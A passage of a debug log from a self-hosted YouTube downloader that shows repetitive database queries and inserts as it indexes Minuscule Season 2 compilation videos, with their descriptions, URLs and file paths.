source="media_profiles" db=0.4ms idle=46.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:45.040 [debug] QUERY OK source="media_items" db=0.5ms idle=46.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [94224] 22:09:45.040 [debug] Current batch of media processed. Will check again in 1000ms 22:09:46.041 [debug] Current batch of media processed. Will check again in 1000ms 22:09:47.042 [debug] Current batch of media processed. Will check again in 1000ms 22:09:48.043 [debug] Current batch of media processed. Will check again in 1000ms 22:09:48.827 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:49.044 [debug] Current batch of media processed. Will check again in 1000ms 22:09:50.045 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Iron Monster | S02E33\n00:03:33 | The Monster Of The Haunted Swamp | S02E37\n00:07:04 | Ants On The Train | S02E52\n00:10:35 | Microzilla | S02E07\n00:14:21 | Trapped | S02E64\n00:18:03 | Sausage Predator | S02E06\n00:21:49 | Spider Driver | S02E36\n00:25:30 | Away all boarders! | S02E41\n00:29:13 | The Grocery Store Incident | S02E39\n00:32:43 | Night of the Gastropods | S02E18\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Iron #Monster #Insects #Panic #Swamp #Sounds #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2228, "filename" => "/downloads/Miniscule Season 2/2025-07-08 The Iron Monster | Minuscule 🍃 50' Compilation/The Iron Monster | Minuscule 🍃 50' Compilation [yk2iwHDT7Ds].mp4", "id" => "yk2iwHDT7Ds", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=yk2iwHDT7Ds", "playlist_index" => 39, "timestamp" => 1751954457, "title" => "The Iron Monster | Minuscule 🍃 50' Compilation", "upload_date" => "20250708"} 22:09:50.046 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1874.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:09:50.047 [debug] QUERY OK source="sources" db=0.4ms idle=1875.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:50.049 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=1220.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-08 06:00:57Z], 5] 22:09:50.185 [debug] QUERY OK source="media_items" db=135.5ms idle=1156.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Iron Monster | S02E33\n00:03:33 | The Monster Of The Haunted Swamp | S02E37\n00:07:04 | Ants On The Train | S02E52\n00:10:35 | Microzilla | S02E07\n00:14:21 | Trapped | S02E64\n00:18:03 | Sausage Predator | S02E06\n00:21:49 | Spider Driver | S02E36\n00:25:30 | Away all boarders! | S02E41\n00:29:13 | The Grocery Store Incident | S02E39\n00:32:43 | Night of the Gastropods | S02E18\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Iron #Monster #Insects #Panic #Swamp #Sounds #Minuscule #nature #insects #ladybugs #animatedseries", "The Iron Monster | Minuscule 🍃 50' Compilation", "581b7f60-c304-4655-b309-ad4379fe3f90", "yk2iwHDT7Ds", 2228, false, 5, "https://www.youtube.com/watch?v=yk2iwHDT7Ds", 39, "/downloads/Miniscule Season 2/2025-07-08 The Iron Monster | Minuscule 🍃 50' Compilation/The Iron Monster | Minuscule 🍃 50' Compilation [yk2iwHDT7Ds].mp4", false, false, false, [], 1, ~U[2025-07-08 06:00:57Z], ~U[2025-12-12 05:09:50Z], ~U[2025-12-12 05:09:50Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Iron Monster | S02E33\n00:03:33 | The Monster Of The Haunted Swamp | S02E37\n00:07:04 | Ants On The Train | S02E52\n00:10:35 | Microzilla | S02E07\n00:14:21 | Trapped | S02E64\n00:18:03 | Sausage Predator | S02E06\n00:21:49 | Spider Driver | S02E36\n00:25:30 | Away all boarders! | S02E41\n00:29:13 | The Grocery Store Incident | S02E39\n00:32:43 | Night of the Gastropods | S02E18\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Iron #Monster #Insects #Panic #Swamp #Sounds #Minuscule #nature #insects #ladybugs #animatedseries", "The Iron Monster | Minuscule 🍃 50' Compilation", "yk2iwHDT7Ds", 2228, false, 5, "https://www.youtube.com/watch?v=yk2iwHDT7Ds", "/downloads/Miniscule Season 2/2025-07-08 The Iron Monster | Minuscule 🍃 50' Compilation/The Iron Monster | Minuscule 🍃 50' Compilation [yk2iwHDT7Ds].mp4", false, ~U[2025-07-08 06:00:57Z]] 22:09:50.186 [debug] QUERY OK source="sources" db=0.4ms idle=290.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:50.187 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=140.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:50.188 [debug] QUERY OK source="media_items" db=0.6ms idle=140.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [93308] 22:09:50.188 [debug] Current batch of media processed. Will check again in 1000ms 22:09:51.190 [debug] Current batch of media processed. Will check again in 1000ms 22:09:52.191 [debug] Current batch of media processed. Will check again in 1000ms 22:09:53.192 [debug] Current batch of media processed. Will check again in 1000ms 22:09:54.193 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Love Apple | S02E45\n00:03:39 | Homeless | S02E02\n00:07:27 | Metamorphosis | S02E61\n00:10:57 | The Wing Case | S02E01\n00:14:43 | Hop On! | S02E25\n00:18:20 | Valentine's Day | S02E15\n00:22:05 | A Butterfly's Nightmare | S02E20\n00:25:22 | Trapped | S02E64\n00:29:05 | Away all boarders! | S02E41\n00:32:47 | If Only Lonely | S02E22\n00:36:33 | The Annoying Neighbor | S02E28\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#love #apple #caterpillars #separation #Caterpillar #Refuge #Insects #Homeless #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2447, "filename" => "/downloads/Miniscule Season 2/2025-07-17 Love Apple | Minuscule 🍃 55' Compilation/Love Apple | Minuscule 🍃 55' Compilation [6qeIwbnhMqo].mp4", "id" => "6qeIwbnhMqo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=6qeIwbnhMqo", "playlist_index" => 40, "timestamp" => 1752746421, "title" => "Love Apple | Minuscule 🍃 55' Compilation", "upload_date" => "20250717"} 22:09:54.194 [debug] QUERY OK source="sources" db=0.4ms idle=290.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:09:54.195 [debug] QUERY OK source="sources" db=0.3ms idle=23.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:54.196 [debug] QUERY OK source="media_items" db=0.9ms idle=24.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-17 10:00:21Z], 5] 22:09:54.200 [debug] QUERY OK source="media_items" db=2.3ms idle=25.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Love Apple | S02E45\n00:03:39 | Homeless | S02E02\n00:07:27 | Metamorphosis | S02E61\n00:10:57 | The Wing Case | S02E01\n00:14:43 | Hop On! | S02E25\n00:18:20 | Valentine's Day | S02E15\n00:22:05 | A Butterfly's Nightmare | S02E20\n00:25:22 | Trapped | S02E64\n00:29:05 | Away all boarders! | S02E41\n00:32:47 | If Only Lonely | S02E22\n00:36:33 | The Annoying Neighbor | S02E28\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#love #apple #caterpillars #separation #Caterpillar #Refuge #Insects #Homeless #Minuscule #nature #insects #ladybugs #animatedseries", "Love Apple | Minuscule 🍃 55' Compilation", "40076aeb-e92b-4bba-a3b5-197cc9c7066f", "6qeIwbnhMqo", 2447, false, 5, "https://www.youtube.com/watch?v=6qeIwbnhMqo", 40, "/downloads/Miniscule Season 2/2025-07-17 Love Apple | Minuscule 🍃 55' Compilation/Love Apple | Minuscule 🍃 55' Compilation [6qeIwbnhMqo].mp4", false, false, false, [], 1, ~U[2025-07-17 10:00:21Z], ~U[2025-12-12 05:09:54Z], ~U[2025-12-12 05:09:54Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Love Apple | S02E45\n00:03:39 | Homeless | S02E02\n00:07:27 | Metamorphosis | S02E61\n00:10:57 | The Wing Case | S02E01\n00:14:43 | Hop On! | S02E25\n00:18:20 | Valentine's Day | S02E15\n00:22:05 | A Butterfly's Nightmare | S02E20\n00:25:22 | Trapped | S02E64\n00:29:05 | Away all boarders! | S02E41\n00:32:47 | If Only Lonely | S02E22\n00:36:33 | The Annoying Neighbor | S02E28\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#love #apple #caterpillars #separation #Caterpillar #Refuge #Insects #Homeless #Minuscule #nature #insects #ladybugs #animatedseries", "Love Apple | Minuscule 🍃 55' Compilation", "6qeIwbnhMqo", 2447, false, 5, "https://www.youtube.com/watch?v=6qeIwbnhMqo", "/downloads/Miniscule Season 2/2025-07-17 Love Apple | Minuscule 🍃 55' Compilation/Love Apple | Minuscule 🍃 55' Compilation [6qeIwbnhMqo].mp4", false, ~U[2025-07-17 10:00:21Z]] 22:09:54.200 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=28.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:54.201 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:54.202 [debug] QUERY OK source="media_items" db=0.6ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [93766] 22:09:54.203 [debug] Current batch of media processed. Will check again in 1000ms 22:09:55.204 [debug] Current batch of media processed. Will check again in 1000ms 22:09:56.205 [debug] Current batch of media processed. Will check again in 1000ms 22:09:57.206 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Long Road | S02E34\n00:03:42 | Thirsty | S02E29\n00:07:15 | Labyrinth | S02E69\n00:11:00 | The Annoying Neighbor | S02E28\n00:14:36 | Night of the Gastropods | S02E18\n00:18:22 | The Butterfly Effect | S02E23\n00:21:44 | Love Apple | S02E45\n00:25:24 | Honey Fly | S02E08\n00:29:14 | Zzz In The Metro | S02E53\n00:32:50 | A Butterfly's Nightmare | S02E20\n00:36:06 | White As Snow | S02E63\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#snail #water #journey #hazard #thirsty #heatwave #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2421, "filename" => "/downloads/Miniscule Season 2/2025-07-15 The Long Road | Minuscule 🍃 50' Compilation/The Long Road | Minuscule 🍃 50' Compilation [zzdfZs9qUn4].mp4", "id" => "zzdfZs9qUn4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zzdfZs9qUn4", "playlist_index" => 41, "timestamp" => 1752559258, "title" => "The Long Road | Minuscule 🍃 50' Compilation", "upload_date" => "20250715"} 22:09:57.207 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1035.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:09:57.208 [debug] QUERY OK source="sources" db=0.4ms idle=1036.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:57.210 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=1037.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-15 06:00:58Z], 5] 22:09:57.213 [debug] QUERY OK source="media_items" db=2.4ms idle=1039.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Long Road | S02E34\n00:03:42 | Thirsty | S02E29\n00:07:15 | Labyrinth | S02E69\n00:11:00 | The Annoying Neighbor | S02E28\n00:14:36 | Night of the Gastropods | S02E18\n00:18:22 | The Butterfly Effect | S02E23\n00:21:44 | Love Apple | S02E45\n00:25:24 | Honey Fly | S02E08\n00:29:14 | Zzz In The Metro | S02E53\n00:32:50 | A Butterfly's Nightmare | S02E20\n00:36:06 | White As Snow | S02E63\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#snail #water #journey #hazard #thirsty #heatwave #Minuscule #nature #insects #ladybugs #animatedseries", "The Long Road | Minuscule 🍃 50' Compilation", "6b1675e2-fb4f-453b-b85b-d5177dd50b60", "zzdfZs9qUn4", 2421, false, 5, "https://www.youtube.com/watch?v=zzdfZs9qUn4", 41, "/downloads/Miniscule Season 2/2025-07-15 The Long Road | Minuscule 🍃 50' Compilation/The Long Road | Minuscule 🍃 50' Compilation [zzdfZs9qUn4].mp4", false, false, false, [], 1, ~U[2025-07-15 06:00:58Z], ~U[2025-12-12 05:09:57Z], ~U[2025-12-12 05:09:57Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Long Road | S02E34\n00:03:42 | Thirsty | S02E29\n00:07:15 | Labyrinth | S02E69\n00:11:00 | The Annoying Neighbor | S02E28\n00:14:36 | Night of the Gastropods | S02E18\n00:18:22 | The Butterfly Effect | S02E23\n00:21:44 | Love Apple | S02E45\n00:25:24 | Honey Fly | S02E08\n00:29:14 | Zzz In The Metro | S02E53\n00:32:50 | A Butterfly's Nightmare | S02E20\n00:36:06 | White As Snow | S02E63\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#snail #water #journey #hazard #thirsty #heatwave #Minuscule #nature #insects #ladybugs #animatedseries", "The Long Road | Minuscule 🍃 50' Compilation", "zzdfZs9qUn4", 2421, false, 5, "https://www.youtube.com/watch?v=zzdfZs9qUn4", "/downloads/Miniscule Season 